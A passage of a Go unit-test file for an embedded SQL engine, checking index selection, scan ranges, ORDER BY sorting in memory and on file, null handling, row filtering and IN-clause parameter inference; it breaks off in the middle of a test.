require.Len(t, scanSpecs.rangesByColID, 1) tsRange := scanSpecs.rangesByColID[2] require.Nil(t, tsRange.lRange) require.NotNil(t, tsRange.hRange) require.False(t, tsRange.hRange.inclusive) require.Equal(t, int64(1629902963), tsRange.hRange.val.RawValue()) require.False(t, scanSpecs.DescOrder) err = r.Close() require.NoError(t, err) }) t.Run("should use index on `ts` with specific value", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 AS t WHERE t.ts = 1629902962 AND t.ts = 1629902963 ORDER BY t.ts", nil) require.NoError(t, err) orderBy := r.OrderBy() require.NotNil(t, orderBy) require.Len(t, orderBy, 1) require.Equal(t, "ts", orderBy[0].Column) scanSpecs := r.ScanSpecs() require.NotNil(t, scanSpecs) require.NotNil(t, scanSpecs.Index) require.False(t, scanSpecs.Index.IsPrimary()) require.False(t, scanSpecs.Index.IsUnique()) require.Len(t, scanSpecs.Index.cols, 1) require.Len(t, scanSpecs.rangesByColID, 1) tsRange := scanSpecs.rangesByColID[2] require.NotNil(t, tsRange.lRange) require.True(t, tsRange.lRange.inclusive) require.Equal(t, int64(1629902963), tsRange.lRange.val.RawValue()) require.NotNil(t, tsRange.hRange) require.True(t, tsRange.hRange.inclusive) require.Equal(t, int64(1629902962), tsRange.hRange.val.RawValue()) require.False(t, scanSpecs.DescOrder) err = r.Close() require.NoError(t, err) }) t.Run("should use index on `ts` with specific value", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 WHERE ts > 1629902962 AND ts < 1629902963 ORDER BY ts", nil) require.NoError(t, err) orderBy := r.OrderBy() require.NotNil(t, orderBy) require.Len(t, orderBy, 1) require.Equal(t, "ts", orderBy[0].Column) scanSpecs := r.ScanSpecs() require.NotNil(t, scanSpecs) require.NotNil(t, scanSpecs.Index) require.False(t, scanSpecs.Index.IsPrimary()) require.False(t, scanSpecs.Index.IsUnique()) require.Len(t, scanSpecs.Index.cols, 1) require.Len(t, scanSpecs.rangesByColID, 1) tsRange := scanSpecs.rangesByColID[2] require.NotNil(t, tsRange.lRange) require.False(t, tsRange.lRange.inclusive) require.Equal(t, int64(1629902962), tsRange.lRange.val.RawValue()) require.NotNil(t, tsRange.hRange) require.False(t, tsRange.hRange.inclusive) require.Equal(t, int64(1629902963), tsRange.hRange.val.RawValue()) require.False(t, scanSpecs.DescOrder) err = r.Close() require.NoError(t, err) }) t.Run("should use index on `title, amount` in asc order", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 USE INDEX ON (title, amount) ORDER BY title", nil) require.NoError(t, err) orderBy := r.OrderBy() require.NotNil(t, orderBy) require.Len(t, orderBy, 2) require.Equal(t, "title", orderBy[0].Column) require.Equal(t, "amount", orderBy[1].Column) scanSpecs := r.ScanSpecs() require.NotNil(t, scanSpecs) require.NotNil(t, scanSpecs.Index) require.False(t, scanSpecs.Index.IsPrimary()) require.True(t, scanSpecs.Index.IsUnique()) require.Len(t, scanSpecs.Index.cols, 2) require.Empty(t, scanSpecs.rangesByColID) require.False(t, scanSpecs.DescOrder) err = r.Close() require.NoError(t, err) }) t.Run("should use index on `title` in asc order", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 USE INDEX ON (title) ORDER BY title", nil) require.NoError(t, err) orderBy := r.OrderBy() require.NotNil(t, orderBy) require.Len(t, orderBy, 1) require.Equal(t, "title", orderBy[0].Column) scanSpecs := r.ScanSpecs() require.NotNil(t, scanSpecs) require.NotNil(t, scanSpecs.Index) require.False(t, scanSpecs.Index.IsPrimary()) require.True(t, scanSpecs.Index.IsUnique()) require.Len(t, scanSpecs.Index.cols, 1) require.Empty(t, scanSpecs.rangesByColID) require.False(t, scanSpecs.DescOrder) err = r.Close() require.NoError(t, err) }) t.Run("should use index on `ts` in default order", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 USE INDEX ON (ts)", nil) require.NoError(t, err) orderBy := r.OrderBy() require.NotNil(t, orderBy) require.Len(t, orderBy, 1) require.Equal(t, "ts", orderBy[0].Column) scanSpecs := r.ScanSpecs() require.NotNil(t, scanSpecs) require.NotNil(t, scanSpecs.Index) require.False(t, scanSpecs.Index.IsPrimary()) require.False(t, scanSpecs.Index.IsUnique()) require.Len(t, scanSpecs.Index.cols, 1) require.Empty(t, scanSpecs.rangesByColID) require.False(t, scanSpecs.DescOrder) err = r.Close() require.NoError(t, err) }) t.Run("should use specified index on `ts` when ordering by `title`", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 USE INDEX ON (ts) ORDER BY title", nil) require.NoError(t, err) scanSpecs := r.ScanSpecs() require.NotNil(t, scanSpecs) require.Len(t, scanSpecs.Index.cols, 1) require.Equal(t, scanSpecs.Index.cols[0].colName, "ts") err = r.Close() require.NoError(t, err) }) t.Run("should use index on `title` with max value in desc order", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 USE INDEX ON (title) WHERE title < 'title10' ORDER BY title DESC", nil) require.NoError(t, err) orderBy := r.OrderBy() require.NotNil(t, orderBy) require.Len(t, orderBy, 1) require.Equal(t, "title", orderBy[0].Column) scanSpecs := r.ScanSpecs() require.NotNil(t, scanSpecs) require.NotNil(t, scanSpecs.Index) require.False(t, scanSpecs.Index.IsPrimary()) require.True(t, scanSpecs.Index.IsUnique()) require.Len(t, scanSpecs.Index.cols, 1) require.Len(t, scanSpecs.rangesByColID, 1) titleRange := scanSpecs.rangesByColID[3] require.Nil(t, titleRange.lRange) require.NotNil(t, titleRange.hRange) require.False(t, titleRange.hRange.inclusive) require.Equal(t, "title10", titleRange.hRange.val.RawValue()) require.True(t, scanSpecs.DescOrder) err = r.Close() require.NoError(t, err) }) t.Run("should use index on `title,amount` in desc order", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 WHERE title = 'title1' ORDER BY amount DESC", nil) require.NoError(t, err) orderBy := r.OrderBy() require.NotNil(t, orderBy) require.Len(t, orderBy, 2) require.Equal(t, "title", orderBy[0].Column) require.Equal(t, "amount", orderBy[1].Column) scanSpecs := r.ScanSpecs() require.NotNil(t, scanSpecs) require.NotNil(t, scanSpecs.Index) require.False(t, scanSpecs.Index.IsPrimary()) require.True(t, scanSpecs.Index.IsUnique()) require.Len(t, scanSpecs.Index.cols, 2) require.Len(t, scanSpecs.rangesByColID, 1) titleRange := scanSpecs.rangesByColID[3] require.NotNil(t, titleRange.lRange) require.True(t, titleRange.lRange.inclusive) require.Equal(t, "title1", titleRange.lRange.val.RawValue()) require.NotNil(t, titleRange.hRange) require.True(t, titleRange.hRange.inclusive) require.Equal(t, "title1", titleRange.hRange.val.RawValue()) require.True(t, scanSpecs.DescOrder) err = r.Close() require.NoError(t, err) }) t.Run("should use index on `ts` ascending order", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 WHERE title > 'title10' ORDER BY ts ASC", nil) require.NoError(t, err) orderBy := r.OrderBy() require.NotNil(t, orderBy) require.Len(t, orderBy, 1) require.Equal(t, "ts", orderBy[0].Column) scanSpecs := r.ScanSpecs() require.NotNil(t, scanSpecs) require.NotNil(t, scanSpecs.Index) require.False(t, scanSpecs.Index.IsPrimary()) require.False(t, scanSpecs.Index.IsUnique()) require.Len(t, scanSpecs.Index.cols, 1) require.Len(t, scanSpecs.rangesByColID, 1) titleRange := scanSpecs.rangesByColID[3] require.NotNil(t, titleRange.lRange) require.False(t, titleRange.lRange.inclusive) require.Equal(t, "title10", titleRange.lRange.val.RawValue()) require.Nil(t, titleRange.hRange) require.False(t, scanSpecs.DescOrder) err = r.Close() require.NoError(t, err) }) t.Run("should use index on `ts` descending order", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 WHERE title > 'title10' or title = 'title1' ORDER BY ts DESC", nil) require.NoError(t, err) orderBy := r.OrderBy() require.NotNil(t, orderBy) require.Len(t, orderBy, 1) require.Equal(t, "ts", orderBy[0].Column) scanSpecs := r.ScanSpecs() require.NotNil(t, scanSpecs) require.NotNil(t, scanSpecs.Index) require.False(t, scanSpecs.Index.IsPrimary()) require.False(t, scanSpecs.Index.IsUnique()) require.Len(t, scanSpecs.Index.cols, 1) require.Len(t, scanSpecs.rangesByColID, 1) titleRange := scanSpecs.rangesByColID[3] require.NotNil(t, titleRange.lRange) require.True(t, titleRange.lRange.inclusive) require.Equal(t, "title1", titleRange.lRange.val.RawValue()) require.Nil(t, titleRange.hRange) require.True(t, scanSpecs.DescOrder) err = r.Close() require.NoError(t, err) }) t.Run("should use index on `title` descending order", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 WHERE title > 'title10' or title = 'title1' ORDER BY title DESC", nil) require.NoError(t, err) orderBy := r.OrderBy() require.NotNil(t, orderBy) require.Len(t, orderBy, 2) require.Equal(t, "title", orderBy[0].Column) require.Equal(t, "amount", orderBy[1].Column) scanSpecs := r.ScanSpecs() require.NotNil(t, scanSpecs) require.NotNil(t, scanSpecs.Index) require.False(t, scanSpecs.Index.IsPrimary()) require.True(t, scanSpecs.Index.IsUnique()) require.Len(t, scanSpecs.Index.cols, 2) require.Len(t, scanSpecs.rangesByColID, 1) titleRange := scanSpecs.rangesByColID[3] require.NotNil(t, titleRange.lRange) require.True(t, titleRange.lRange.inclusive) require.Equal(t, "title1", titleRange.lRange.val.RawValue()) require.Nil(t, titleRange.hRange) require.True(t, scanSpecs.DescOrder) err = r.Close() require.NoError(t, err) }) t.Run("should use index on `title` ascending order starting with 'title1'", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 USE INDEX ON (title) WHERE title > 'title10' or title = 'title1' ORDER BY title", nil) require.NoError(t, err) orderBy := r.OrderBy() require.NotNil(t, orderBy) require.Len(t, orderBy, 1) require.Equal(t, "title", orderBy[0].Column) scanSpecs := r.ScanSpecs() require.NotNil(t, scanSpecs) require.NotNil(t, scanSpecs.Index) require.False(t, scanSpecs.Index.IsPrimary()) require.True(t, scanSpecs.Index.IsUnique()) require.Len(t, scanSpecs.Index.cols, 1) require.Len(t, scanSpecs.rangesByColID, 1) titleRange := scanSpecs.rangesByColID[3] require.NotNil(t, titleRange.lRange) require.True(t, titleRange.lRange.inclusive) require.Equal(t, "title1", titleRange.lRange.val.RawValue()) require.Nil(t, titleRange.hRange) require.False(t, scanSpecs.DescOrder) err = r.Close() require.NoError(t, err) }) t.Run("should use index on `title` ascending order", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 USE INDEX ON (title) WHERE title < 'title10' or title = 'title1' ORDER BY title", nil) require.NoError(t, err) orderBy := r.OrderBy() require.NotNil(t, orderBy) require.Len(t, orderBy, 1) require.Equal(t, "title", orderBy[0].Column) scanSpecs := r.ScanSpecs() require.NotNil(t, scanSpecs) require.NotNil(t, scanSpecs.Index) require.False(t, scanSpecs.Index.IsPrimary()) require.True(t, scanSpecs.Index.IsUnique()) require.Len(t, scanSpecs.Index.cols, 1) require.Len(t, scanSpecs.rangesByColID, 1) titleRange := scanSpecs.rangesByColID[3] require.Nil(t, titleRange.lRange) require.NotNil(t, titleRange.hRange) require.False(t, titleRange.hRange.inclusive) require.Equal(t, "title10", titleRange.hRange.val.RawValue()) require.False(t, scanSpecs.DescOrder) err = r.Close() require.NoError(t, err) }) t.Run("should use index on `title` descending order", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 USE INDEX ON (title) WHERE title < 'title10' and title = 'title1' ORDER BY title DESC", nil) require.NoError(t, err) orderBy := r.OrderBy() require.NotNil(t, orderBy) require.Len(t, orderBy, 1) require.Equal(t, "title", orderBy[0].Column) scanSpecs := r.ScanSpecs() require.NotNil(t, scanSpecs) require.NotNil(t, scanSpecs.Index) require.False(t, scanSpecs.Index.IsPrimary()) require.True(t, scanSpecs.Index.IsUnique()) require.Len(t, scanSpecs.Index.cols, 1) require.Len(t, scanSpecs.rangesByColID, 1) titleRange := scanSpecs.rangesByColID[3] require.NotNil(t, titleRange.lRange) require.True(t, titleRange.lRange.inclusive) require.Equal(t, "title1", titleRange.lRange.val.RawValue()) require.NotNil(t, titleRange.hRange) require.True(t, titleRange.hRange.inclusive) require.Equal(t, "title1", titleRange.hRange.val.RawValue()) require.True(t, scanSpecs.DescOrder) err = r.Close() require.NoError(t, err) }) } func TestExecCornerCases(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) tx, _, err := engine.Exec(context.Background(), nil, "INVALID STATEMENT", nil) require.ErrorIs(t, err, ErrParsingError) require.EqualError(t, err, "parsing error: syntax error: unexpected IDENTIFIER at position 7") require.Nil(t, tx) } func TestQueryWithNullables(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, ts TIMESTAMP, title VARCHAR, active BOOLEAN, PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, ts, title) VALUES (1, TIME(), 'title1')", nil) require.ErrorIs(t, err, ErrIllegalArguments) rowCount := 10 start := time.Now() for i := 0; i < rowCount; i++ { _, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf("UPSERT INTO table1 (id, ts, title) VALUES (%d, NOW(), 'title%d')", i, i), nil) require.NoError(t, err) } r, err := engine.Query(context.Background(), nil, "SELECT id, ts, title, active FROM table1 WHERE NOT(active != NULL)", nil) require.NoError(t, err) cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 4) for i := 0; i < rowCount; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 4) require.False(t, start.After(row.ValuesBySelector[EncodeSelector("", "table1", "ts")].RawValue().(time.Time))) require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) require.Equal(t, &NullValue{t: BooleanType}, row.ValuesBySelector[EncodeSelector("", "table1", "active")]) } err = r.Close() require.NoError(t, err) } func TestOrderBy(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix).WithSortBufferSize(1024)) require.NoError(t, err) _, _, err = engine.Exec( context.Background(), nil, `CREATE TABLE table1 ( id INTEGER, title VARCHAR[100], age INTEGER, height FLOAT, weight FLOAT, created_at TIMESTAMP, PRIMARY KEY id )`, nil, ) require.NoError(t, err) _, err = engine.Query(context.Background(), nil, "SELECT id, title, age FROM table2 ORDER BY title", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) _, err = engine.Query(context.Background(), nil, "SELECT id, title, age FROM table1 ORDER BY amount", nil) require.ErrorIs(t, err, ErrColumnDoesNotExist) rng := rand.New(rand.NewSource(1)) rowCount := 100 + rng.Intn(engine.sortBufferSize-100) // [100, sortBufferSize] for id := 1; id <= rowCount; id++ { r := rand.New(rand.NewSource(int64(id))) params := map[string]interface{}{ "id": id, "title": fmt.Sprintf("title%d", r.Intn(100)), "age": r.Intn(100), "weight": 50 + r.Float64()*50, "height": r.Float64() * 200, "created": time.Unix(r.Int63n(100000), 0).UTC(), } _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, age, height, weight, created_at) VALUES (@id, @title, @age, @height, @weight, @created)", params) require.NoError(t, err) } checkDataIntegrity := func(t *testing.T, rows []*Row, table string) { require.Len(t, rows, rowCount) ids := make(map[int64]struct{}) for _, row := range rows { id := row.ValuesBySelector[EncodeSelector("", table, "id")].RawValue().(int64) r := rand.New(rand.NewSource(id)) title := row.ValuesBySelector[EncodeSelector("", table, "title")].RawValue().(string) age := row.ValuesBySelector[EncodeSelector("", table, "age")].RawValue().(int64) height := row.ValuesBySelector[EncodeSelector("", table, "height")].RawValue().(float64) weight := row.ValuesBySelector[EncodeSelector("", table, "weight")].RawValue().(float64) created := row.ValuesBySelector[EncodeSelector("", table, "created_at")].RawValue().(time.Time).UTC() require.Equal(t, fmt.Sprintf("title%d", r.Intn(100)), title) require.Equal(t, int64(r.Intn(100)), age) require.Equal(t, 50+r.Float64()*50, weight) require.Equal(t, r.Float64()*200, height) require.Equal(t, time.Unix(r.Int63n(100000), 0).UTC(), created) _, exists := ids[id] require.False(t, exists) ids[id] = struct{}{} } for id := 1; id <= rowCount; id++ { _, exists := ids[int64(id)] require.True(t, exists) } } type test struct { exps []string directions []int expectedIndex []string positionalRefs []int } testCases := []test{ { exps: []string{"age"}, directions: []int{1}, positionalRefs: []int{3}, }, { exps: []string{"created_at"}, directions: []int{-1}, positionalRefs: []int{6}, }, { exps: []string{"title", "age"}, directions: []int{-1, 1}, positionalRefs: []int{2, 3}, }, { exps: []string{"age", "title", "height"}, directions: []int{1, -1, 1}, positionalRefs: []int{3, 2, 4}, }, { exps: []string{"weight/(height*height)"}, directions: []int{1}, }, { exps: []string{"height", "weight"}, directions: []int{1, -1}, positionalRefs: []int{4, 5}, }, { exps: []string{"weight/(height*height)"}, directions: []int{1}, }, } runTest := func(t *testing.T, test *test, expectedTempFiles int) []*Row { orderByCols := make([]string, len(test.exps)) for i, col := range test.exps { orderByCols[i] = col + " " + directionToSql(test.directions[i]) } reader, err := engine.Query(context.Background(), nil, fmt.Sprintf("SELECT * FROM table1 ORDER BY %s", strings.Join(orderByCols, ",")), nil) require.NoError(t, err) defer reader.Close() rows, err := ReadAllRows(context.Background(), reader) require.NoError(t, err) require.Len(t, rows, rowCount) specs := reader.ScanSpecs() if test.expectedIndex != nil { require.NotNil(t, specs.Index) require.Len(t, specs.Index.cols, len(test.expectedIndex)) for i, col := range test.expectedIndex { require.Equal(t, col, specs.Index.cols[i].Name()) } } else { require.Len(t, specs.orderBySortExps, len(orderByCols)) for i, col := range specs.orderBySortExps { e, err := ParseExpFromString(test.exps[i]) require.NoError(t, err) require.Equal(t, e, col.exp) } } checkRowsAreSorted(t, rows, test.exps, test.directions, "table1") checkDataIntegrity(t, rows, "table1") if test.positionalRefs != nil { orderByColPositions := make([]string, len(test.exps)) for i, ref := range test.positionalRefs { orderByColPositions[i] = strconv.Itoa(ref) + " " + directionToSql(test.directions[i]) } rows1, err := engine.queryAll( context.Background(), nil, fmt.Sprintf("SELECT * FROM table1 ORDER BY %s", strings.Join(orderByColPositions, ",")), nil, ) require.NoError(t, err) require.Equal(t, rows, rows1) } tx := reader.Tx() require.Len(t, tx.tempFiles, expectedTempFiles) return rows } for _, test := range testCases { t.Run(fmt.Sprintf("order by on %s should be executed using in memory sort", strings.Join(test.exps, ",")), func(t *testing.T) { runTest(t, &test, 0) }) } engine.sortBufferSize = 4 + rng.Intn(13) // [4, 16] for _, test := range testCases { t.Run(fmt.Sprintf("order by on %s should be executed using file sort", strings.Join(test.exps, ",")), func(t *testing.T) { runTest(t, &test, 2) }) } t.Run("order by on top of subquery", func(t *testing.T) { reader, err := engine.Query(context.Background(), nil, "SELECT age FROM (SELECT id, title, age FROM table1 AS t1) ORDER BY age DESC", nil) require.NoError(t, err) defer reader.Close() rows, err := ReadAllRows(context.Background(), reader) require.NoError(t, err) require.Len(t, rows, rowCount) checkRowsAreSorted(t, rows, []string{EncodeSelector("", "t1", "age")}, []int{-1}, "t1") }) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(age)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(title, age)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(age, title, height)", nil) require.NoError(t, err) testCases = []test{ { exps: []string{"age"}, directions: []int{1}, expectedIndex: []string{"age"}, }, { exps: []string{"title"}, directions: []int{-1}, expectedIndex: []string{"title", "age"}, }, { exps: []string{"title", "age"}, directions: []int{1, 1}, expectedIndex: []string{"title", "age"}, }, { exps: []string{"age", "title"}, directions: []int{-1, -1, -1}, expectedIndex: []string{"age", "title", "height"}, }, } for _, test := range testCases { t.Run(fmt.Sprintf("order by on %s should be executed using index", strings.Join(test.exps, ",")), func(t *testing.T) { runTest(t, &test, 0) }) } t.Run("order by with preferred index", func(t *testing.T) { t.Run("sorting required", func(t *testing.T) { reader, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 USE INDEX ON(title, age) ORDER BY title ASC, age DESC", nil) require.NoError(t, err) defer reader.Close() specs := reader.ScanSpecs() rows, err := ReadAllRows(context.Background(), reader) require.NoError(t, err) require.Len(t, rows, rowCount) require.Len(t, specs.orderBySortExps, 2) require.Equal(t, EncodeSelector(specs.orderBySortExps[0].AsSelector().resolve("table1")), EncodeSelector("", "table1", "title")) require.Equal(t, EncodeSelector(specs.orderBySortExps[1].AsSelector().resolve("table1")), EncodeSelector("", "table1", "age")) checkRowsAreSorted(t, rows, []string{EncodeSelector("", "table1", "title"), EncodeSelector("", "table1", "age")}, []int{1, -1}, "table1") checkDataIntegrity(t, rows, "table1") }) t.Run("sorting not required", func(t *testing.T) { reader, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 USE INDEX ON(title, age) ORDER BY title DESC, age DESC", nil) require.NoError(t, err) defer reader.Close() specs := reader.ScanSpecs() rows, err := ReadAllRows(context.Background(), reader) require.NoError(t, err) require.Len(t, rows, rowCount) require.Len(t, specs.orderBySortExps, 0) require.NotNil(t, specs.Index) require.Len(t, specs.Index.cols, 2) require.Equal(t, "title", specs.Index.cols[0].Name()) require.Equal(t, "age", specs.Index.cols[1].Name()) checkRowsAreSorted(t, rows, []string{EncodeSelector("", "table1", "title"), EncodeSelector("", "table1", "age")}, []int{-1, -1}, "table1") checkDataIntegrity(t, rows, "table1") }) }) nullValues := 1 + rng.Intn(10) for i := 1; i <= nullValues; i++ { params := map[string]interface{}{ "id": rowCount + i, "title": nil, "age": nil, "height": nil, "created": nil, } _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, age, height, created_at) VALUES (@id, @title, @age, @height, @created)", params) require.NoError(t, err) } t.Run("order by with null values", func(t *testing.T) { reader, err := engine.Query(context.Background(), nil, "SELECT id, title, age, height, weight, created_at FROM table1 ORDER BY title, id", nil) require.NoError(t, err) defer reader.Close() rows, err := ReadAllRows(context.Background(), reader) require.NoError(t, err) require.Len(t, rows, rowCount+nullValues) for i := 1; i <= nullValues; i++ { row := rows[i-1] require.Equal(t, row.ValuesByPosition[0].RawValue(), int64(i+rowCount)) for _, v := range row.ValuesByPosition[1:] { require.Nil(t, v.RawValue()) } } tx := reader.Tx() require.Len(t, tx.tempFiles, 2) checkRowsAreSorted(t, rows, []string{EncodeSelector("", "table1", "title"), EncodeSelector("", "table1", "id")}, []int{1, 1}, "table1") checkDataIntegrity(t, rows[nullValues:], "table1") }) } func directionToSql(direction int) string { if direction == 1 { return "ASC" } return "DESC" } func checkRowsAreSorted(t *testing.T, rows []*Row, expStrings []string, directions []int, table string) { exps := make([]ValueExp, len(expStrings)) for i, s := range expStrings { e, err := ParseExpFromString(s) require.NoError(t, err) exps[i] = e } k1 := make(Tuple, len(exps)) k2 := make(Tuple, len(exps)) isSorted := sort.SliceIsSorted(rows, func(i, j int) bool { for idx, e := range exps { v1, err := e.reduce(nil, rows[i], table) require.NoError(t, err) v2, err := e.reduce(nil, rows[j], table) require.NoError(t, err) k1[idx] = v1 k2[idx] = v2 } res, idx, err := Tuple(k1).Compare(k2) require.NoError(t, err) if idx >= 0 { return res*directions[idx] < 0 } return false }) require.True(t, isSorted) } func TestQueryWithRowFiltering(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR, active BOOLEAN, payload BLOB, PRIMARY KEY id)", nil) require.NoError(t, err) rowCount := 10 for i := 0; i < rowCount; i++ { encPayload := hex.EncodeToString([]byte(fmt.Sprintf("blob%d", i))) _, _, err = engine.Exec( context.Background(), nil, fmt.Sprintf(` UPSERT INTO table1 (id, title, active, payload) VALUES (%d, 'title%d', %v, x'%s') `, i, i, i%2 == 0, encPayload), nil) require.NoError(t, err) } r, err := engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE false", nil) require.NoError(t, err) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) r, err = engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE false OR true", nil) require.NoError(t, err) for i := 0; i < rowCount; i++ { _, err := r.Read(context.Background()) require.NoError(t, err) } err = r.Close() require.NoError(t, err) r, err = engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE 1 < 2", nil) require.NoError(t, err) for i := 0; i < rowCount; i++ { _, err := r.Read(context.Background()) require.NoError(t, err) } err = r.Close() require.NoError(t, err) r, err = engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE 1 >= 2", nil) require.NoError(t, err) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) r, err = engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE 1 = true", nil) require.NoError(t, err) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNotComparableValues) err = r.Close() require.NoError(t, err) r, err = engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE NOT table1.active", nil) require.NoError(t, err) for i := 0; i < rowCount/2; i++ { _, err := r.Read(context.Background()) require.NoError(t, err) } _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) r, err = engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE table1.id > 4", nil) require.NoError(t, err) for i := 0; i < rowCount/2; i++ { _, err := r.Read(context.Background()) require.NoError(t, err) } _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf("UPSERT INTO table1 (id, title) VALUES (%d, 'title%d')", rowCount, rowCount), nil) require.NoError(t, err) r, err = engine.Query(context.Background(), nil, "SELECT id, title FROM table1 WHERE active = null AND payload = null", nil) require.NoError(t, err) _, err = r.Read(context.Background()) require.NoError(t, err) err = r.Close() require.NoError(t, err) r, err = engine.Query(context.Background(), nil, "SELECT id, title FROM table1 WHERE active = null AND payload = null AND active = payload", nil) require.NoError(t, err) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNotComparableValues) err = r.Close() require.NoError(t, err) } func TestQueryWithInClause(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR[50], active BOOLEAN, PRIMARY KEY id)", nil) require.NoError(t, err) rowCount := 10 for i := 0; i < rowCount; i++ { _, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf(` INSERT INTO table1 (id, title, active) VALUES (%d, 'title%d', %v) `, i, i, i%2 == 0), nil) require.NoError(t, err) } inListExp := &InListExp{} require.False(t, inListExp.isConstant()) t.Run("infer parameters without parameters should return an empty list", func(t *testing.T) { params, err := engine.InferParameters(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE title IN ('title0', 'title1') ORDER BY title") require.NoError(t, err) require.Empty(t, params) }) t.Run("infer inference with wrong types should return an error", func(t *testing.T) { _, err := engine.InferParameters(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE 100 + title IN ('title0', 'title1')") require.ErrorIs(t, err, ErrInvalidTypes) }) t.Run("infer inference with valid types should succeed", func(t *testing.T) { params, err := engine.InferParameters(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE active AND title IN ('title0', 'title1')") require.NoError(t, err) require.Empty(t, params) }) t.Run("infer parameters should return matching type", func(t *testing.T) { params, err := engine.InferParameters(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE title IN (@param0, @param1)") require.NoError(t, err) require.Len(t, params, 2) require.Equal(t, VarcharType, params["param0"]) require.Equal(t, VarcharType, params["param1"]) }) t.Run("infer parameters with type conflicts should return an error", func(t *testing.T) { _, err := engine.InferParameters(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE active = @param1 and title IN (@param0, @param1)") require.ErrorIs(t, err, ErrInferredMultipleTypes) }) t.Run("infer parameters with unexistent column should return an error", func(t *testing.T) { _, err := engine.InferParameters(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE invalidColumn IN ('title1', 'title2')") require.ErrorIs(t, err, ErrColumnDoesNotExist) }) t.Run("in clause with invalid column should return an error", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE invalidColumn IN (1, 2)", nil) require.NoError(t, err) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrColumnDoesNotExist) err = r.Close() require.NoError(t, err) }) t.Run("in clause with invalid type should return an error", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE title IN (1, 2)", nil) require.NoError(t, err) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNotComparableValues) err = r.Close() require.NoError(t, err) }) t.Run("in clause should succeed reading two rows", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE title IN ('title0', 'title1')", nil) require.NoError(t, err) for i := 0; i < 2; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) } 